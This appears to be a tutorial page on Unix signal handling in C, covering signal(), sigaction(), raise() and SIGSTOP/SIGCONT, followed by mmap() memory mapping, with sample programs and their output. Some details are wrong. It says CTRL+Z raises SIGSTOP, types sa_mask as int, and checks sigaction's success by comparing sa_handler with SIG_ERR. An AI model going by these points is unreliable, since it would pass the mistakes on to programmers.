Whenever a signal is raised (either programmatically or system generated signal), a default action is performed. What if you don’t want to perform the default action but wish to perform your own actions on receiving the signal? Is this possible for all the signals? Yes, it is possible to handle the signal but not for all the signals. What if you want to ignore the signals, is this possible? Yes, it is possible to ignore the signal. Ignoring the signal implies neither performing the default action nor handling the signal. It is possible to ignore or handle almost all the signals. The signals which can’t be either ignored or handled/caught are SIGSTOP and SIGKILL.

In summary, the actions performed for the signals are as follows −

  • Default Action
  • Handle the signal
  • Ignore the signal

As discussed the signal can be handled altering the execution of default action. Signal handling can be done in either of the two ways i.e., through system calls, signal() and sigaction().

#include <signal.h>

typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);

The system call signal() would call the registered handler upon generation of signal as mentioned in signum. The handler can be either one of the SIG_IGN (Ignoring the Signal), SIG_DFL (Setting signal back to default mechanism) or user-defined signal handler or function address.

This system call on success returns the address of a function that takes an integer argument and has no return value. This call returns SIG_ERR in case of error.

Though with signal() the respective signal handler as registered by the user can be called, fine tuning such as masking the signals that should be blocked, modifying the behavior of a signal, and other functionalities are not possible. This are possible using sigaction() system call.

#include <signal.h>

int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)

This system call is used to either examine or change a signal action. If the act is not null, the new action for signal signum is installed from the act. If oldact is not null, the previous action is saved in oldact.

The sigaction structure contains the following fields −

Field 1 − Handler mentioned either in sa_handler or sa_sigaction.

void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);

The handler for sa_handler specifies the action to be performed based on the signum and with SIG_DFL indicating default action or SIG_IGN to ignore the signal or pointer to a signal handling function.

The handler for sa_sigaction specifies the signal number as the first argument, pointer to siginfo_t structure as the second argument and pointer to user context (check getcontext() or setcontext() for further details) as the third argument.

The structure siginfo_t contains signal information such as the signal number to be delivered, signal value, process id, real user id of sending process, etc.

Field 2 − Set of signals to be blocked.

int sa_mask;

This variable specifies the mask of signals that should be blocked during the execution of signal handler.

Field 3 − Special flags.

int sa_flags;

This field specifies a set of flags which modify the behavior of the signal.

Field 4 − Restore handler.

void (*sa_restorer) (void);

This system call returns 0 on success and -1 in case of failure.

Let us consider a few sample programs.

First, let us start with a sample program, which generates exception. In this program, we are trying to perform divide by zero operation, which makes the system generate an exception.

/* signal_fpe.c */
#include<stdio.h>

int main() {
   int result;
   int v1, v2;
   v1 = 121;
   v2 = 0;
   result = v1/v2;
   printf("Result of Divide by Zero is %d\n", result);
   return 0;
}

Compilation and Execution Steps

Floating point exception (core dumped)

Thus, when we are trying to perform an arithmetic operation, the system has generated a floating point exception with core dump, which is the default action of the signal.

Now, let us modify the code to handle this particular signal using signal() system call.

/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

void handler_dividebyzero(int signum);

int main() {
   int result;
   int v1, v2;
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   v1 = 121;
   v2 = 0;
   result = v1/v2;
   printf("Result of Divide by Zero is %d\n", result);
   return 0;
}

void handler_dividebyzero(int signum) {
   if (signum == SIGFPE) {
      printf("Received SIGFPE, Divide by Zero Exception\n");
      exit (0);
   } 
   else
      printf("Received %d Signal\n", signum);
      return;
}

Compilation and Execution Steps

Received SIGFPE, Divide by Zero Exception

As discussed, signals are generated by the system (upon performing certain operations such as divide by zero, etc.) or the user can also generate the signal programmatically. If you want to generate signal programmatically, use the library function raise().

Now, let us take another program to demonstrate handling and ignoring the signal.

Assume that we have raised a signal using raise(), what happens then? After raising the signal, the execution of the current process is stopped. Then what happens to the stopped process? There can be two scenarios – First, continue the execution whenever required. Second, terminate (with kill command) the process.

To continue the execution of the stopped process, send SIGCONT to that particular process. You can also issue fg (foreground) or bg (background) commands to continue the execution. Here, the commands would only re-start the execution of the last process. If more than one process is stopped, then only the last process is resumed. If you want to resume the previously stopped process, then resume the jobs (using fg/bg) along with job number.

The following program is used to raise the signal SIGSTOP using raise() function. Signal SIGSTOP can also be generated by the user press of CTRL + Z (Control + Z) key. After issuing this signal, the program will stop executing. Send the signal (SIGCONT) to continue the execution.

In the following example, we are resuming the stopped process with command fg.

/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

int main() {
   printf("Testing SIGSTOP\n");
   raise(SIGSTOP);
   return 0;
}

Compilation and Execution Steps

Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out

Now, enhance the previous program to continue the execution of the stopped process by issuing SIGCONT from another terminal.

/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>

void handler_sigtstp(int signum);

int main() {
   pid_t pid;
   printf("Testing SIGSTOP\n");
   pid = getpid();
   printf("Open Another Terminal and issue following command\n");
   printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
   raise(SIGSTOP);
   printf("Received signal SIGCONT\n");
   return 0;
}

Compilation and Execution Steps

Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out

Received signal SIGCONT
[1]+ Done ./a.out

In another terminal

kill -SIGCONT 30379

So far, we have seen the program which handles the signal generated by the system. Now, let us see the signal generated through program (using raise() function or through kill command). This program generates signal SIGTSTP (terminal stop), whose default action is to stop the execution. However, since we are handling the signal now instead of default action, it will come to the defined handler. In this case, we are just printing the message and exiting.

/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

void handler_sigtstp(int signum);

int main() {
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   printf("Testing SIGTSTP\n");
   raise(SIGTSTP);
   return 0;
}

void handler_sigtstp(int signum) {
   if (signum == SIGTSTP) {
      printf("Received SIGTSTP\n");
      exit(0);
   }
   else
      printf("Received %d Signal\n", signum);
      return;
}

Compilation and Execution Steps

Testing SIGTSTP
Received SIGTSTP

We have seen the instances of performing default action or handling the signal. Now, it is time to ignore the signal. Here, in this sample program, we are registering the signal SIGTSTP to ignore through SIG_IGN and then we are raising the signal SIGTSTP (terminal stop). When the signal SIGTSTP is being generated that would be ignored.

/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

void handler_sigtstp(int signum);

int main() {
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   printf("Testing SIGTSTP\n");
   raise(SIGTSTP);
   printf("Signal SIGTSTP is ignored\n");
   return 0;
}

Compilation and Execution Steps

Testing SIGTSTP
Signal SIGTSTP is ignored

So far, we have observed that we have one signal handler to handle one signal. Can we have a single handler to handle multiple signals? The answer is Yes. Let us consider this with a program.

The following program does the following −

Step 1 − Registers a handler (handleSignals) to catch or handle signals SIGINT (CTRL + C) or SIGQUIT (CTRL + \)

Step 2 − If the user generates signal SIGQUIT (either through kill command or keyboard control with CTRL + \), the handler simply prints the message as return.

Step 3 − If the user generates signal SIGINT (either through kill command or keyboard control with CTRL + C) first time, then it modifies the signal to perform default action (with SIG_DFL) from next time.

Step 4 − If the user generates signal SIGINT second time, it performs a default action, which is the termination of program.

/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>

void handleSignals(int signum);

int main(void) {
   void (*sigHandlerInterrupt)(int);
   void (*sigHandlerQuit)(int);
   void (*sigHandlerReturn)(int);
   sigHandlerInterrupt = sigHandlerQuit = handleSignals;
   sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
   if (sigHandlerReturn == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
   
   if (sigHandlerReturn == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   while (1) {
      printf("\nTo terminate this program, perform the following: \n");
      printf("1. Open another terminal\n");
      printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
      sleep(10);
   }
   return 0;
}

void handleSignals(int signum) {
   switch(signum) {
      case SIGINT:
      printf("\nYou pressed CTRL+C \n");
      printf("Now reverting SIGINT signal to default action\n");
      signal(SIGINT, SIG_DFL);
      break;
      case SIGQUIT:
      printf("\nYou pressed CTRL+\\ \n");
      break;
      default:
      printf("\nReceived signal number %d\n", signum);
      break;
   }
   return;
}

Compilation and Execution Steps

To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
          
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated

Another Terminal

kill 71

Second Method

To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action

To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C

We know that to handle a signal, we have two system calls i.e., either signal() or sigaction(). Till now we have seen with signal() system call, now it is time for sigaction() system call. Let us modify the above program to perform using sigaction() as follows −

/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>

void handleSignals(int signum);

int main(void) {
   void (*sigHandlerReturn)(int);
   struct sigaction mysigaction;
   mysigaction.sa_handler = handleSignals;
   sigemptyset(&mysigaction.sa_mask);
   mysigaction.sa_flags = 0;
   sigaction(SIGINT, &mysigaction, NULL);
   
   if (mysigaction.sa_handler == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   mysigaction.sa_handler = handleSignals;
   sigemptyset(&mysigaction.sa_mask);
   mysigaction.sa_flags = 0;
   sigaction(SIGQUIT, &mysigaction, NULL);
   
   if (mysigaction.sa_handler == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   while (-1) {
      printf("\nTo terminate this program, perform either of the following: \n");
      printf("1. Open another terminal and issue command: kill %d\n", getpid());
      printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
      sleep(10);
   }
   return 0;
}

void handleSignals(int signum) {
   switch(signum) {
      case SIGINT:
      printf("\nYou have entered CTRL+C \n");
      printf("Now reverting SIGINT signal to perform default action\n");
      signal(SIGINT, SIG_DFL);
      break;
      case SIGQUIT:
      printf("\nYou have entered CTRL+\\ \n");
      break;
      default:
      printf("\nReceived signal number %d\n", signum);
      break;
   }
   return;
}

Let us see the compilation and execution process. In the execution process, let us see issue CTRL+C twice, remaining checks/ways (as above) you can try for this program as well.

Compilation and Execution Steps

To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C

Memory Mapping

The mmap() system call provides mapping in the virtual address space of the calling process that maps the files or devices into memory. This is of two types −

File mapping or File-backed mapping − This mapping maps the area of the process’ virtual memory to the files. This means reading or writing to those areas of memory causes the file to be read or written. This is the default mapping type.

Anonymous mapping − This mapping maps the area of the process’ virtual memory without backed by any file. The contents are initialized to zero. This mapping is similar to dynamic memory allocation (malloc()) and is used in some malloc() implementations for certain allocations.

The memory in one process mapping may be shared with mappings in other processes. This can be done in two ways −

  • When two processes map the same region of a file, they share the same pages of physical memory.

  • If a child process is created, it inherits the parent’s mappings and these mappings refer to the same pages of physical memory as that of the parent. Upon any change of data in the child process, different pages would be created for the child process.

When two or more processes share the same pages, each process can see the changes of the page contents made by other processes depending on the mapping type. The mapping type can be either private or shared −

Private Mapping (MAP_PRIVATE) − Modifications to the contents of this mapping are not visible to other processes and the mapping is not carried to the underlying file.

Shared Mapping (MAP_SHARED) − Modifications to the contents of this mapping are visible to other processes and mapping is carried to the underlying file.

#include <sys/mman.h>

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

The above system call returns the starting address of the mapping on success or MAP_FAILED on error.

The virtual address addr, can be either user specified or generated by the kernel (upon passing addr as NULL). The field length indicated requires the size of mapping in bytes. The field prot indicates memory protection values such as PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC meant for regions that may not be accessed, read, write or executed respectively. This value can be single (PROT_NONE) or can be ORd with any of the three flags (last 3). The field flags indicate mapping type either or MAP_PRIVATE or MAP_SHARED. The field ‘fd’ indicates the file descriptor identifying the file to be mapped and the field ‘offset’ implies the starting point of the file, if need to map the entire file, offset should be zero.

#include <sys/mman.h>

int munmap(void *addr, size_t length);

The above system call returns 0 on success or -1 on error.

The system call munmap, performs the unmapping of the already memory mapped region. The fields addr indicates the starting address of the mapping and the length indicates the size in bytes of the mapping to be unmapped. Usually, the mapping and unmapping would be for the entire mapped regions. If this has to be different, then it should be either shrinked or cut in two parts. If the addr doesn’t have any mappings this call would have no effect and the call returns 0 (success).

Let us consider an example −

Step 1 − Writie into file Alpha Numeric characters as shown below −

0 1 2 25 26 27 28 29 30 31 32 33 34 35 36 37 38 59 60 61
A B C Z 0 1 2 3 4 5 6 7 8 9 A b c x y z

Step 2 − Map the file contents into memory using mmap() system call. This would return the start address after mapped into the memory.

Step 3 − Access the file contents using array notation (can also access with pointer notation) as doesn’t read expensive read() system call. Using memory mapping, avoid multiple copying between the user space, kernel space buffers and buffer cache.

Step 4 − Repeat reading the file contents until the user enters “-1” (signifies end of access).

Step 5 − Perform clean-up activities i.e., unmapping the mapped memory region (munmap()), closing the file and removing the file.

/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();

int main() {
   struct stat mmapstat;
   char *data;
   int minbyteindex;
   int maxbyteindex;
   int offset;
   int fd;
   int unmapstatus;
   write_mmap_sample_data();
   if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
      perror("stat failure");
      return 1;
   }
   
   if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
      perror("open failure");
      return 1;
   }
   data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
   
   if (data == (caddr_t)(-1)) {
      perror("mmap failure");
      return 1;
   }
   minbyteindex = 0;
   maxbyteindex = mmapstat.st_size - 1;
   
   do {
      printf("Enter -1 to quit or ");
      printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
      scanf("%d",&offset);
      if ( (offset >= 0) && (offset <= maxbyteindex) )
      printf("Received char at %d is %c\n", offset, data[offset]);
      else if (offset != -1)
      printf("Received invalid index %d\n", offset);
   } while (offset != -1);
   unmapstatus = munmap(data, mmapstat.st_size);
   
   if (unmapstatus == -1) {
      perror("munmap failure");
      return 1;
   }
   close(fd);
   system("rm -f MMAP_DATA.txt");
   return 0;
}

void write_mmap_sample_data() {
   int fd;
   char ch;
   struct stat textfilestat;
   fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
   if (fd == -1) {
      perror("File open error ");
      return;
   }
   // Write A to Z
   ch = 'A';
   
   while (ch <= 'Z') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
   // Write 0 to 9
   ch = '0';
   
   while (ch <= '9') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
   // Write a to z
   ch = 'a';
   
   while (ch <= 'z') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
   close(fd);
   return;
}

Output

Enter -1 to quit or enter a number between 0 and 61: 3 
Received char at 3 is D 
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2 
Enter -1 to quit or enter a number between 0 and 61: 38 
Received char at 38 is c 
Enter -1 to quit or enter a number between 0 and 61: 59 
Received char at 59 is x 
Enter -1 to quit or enter a number between 0 and 61: 65 
Received invalid index 65 
Enter -1 to quit or enter a number between 0 and 61: -99 
Received invalid index -99 
Enter -1 to quit or enter a number between 0 and 61: -1
Advertisements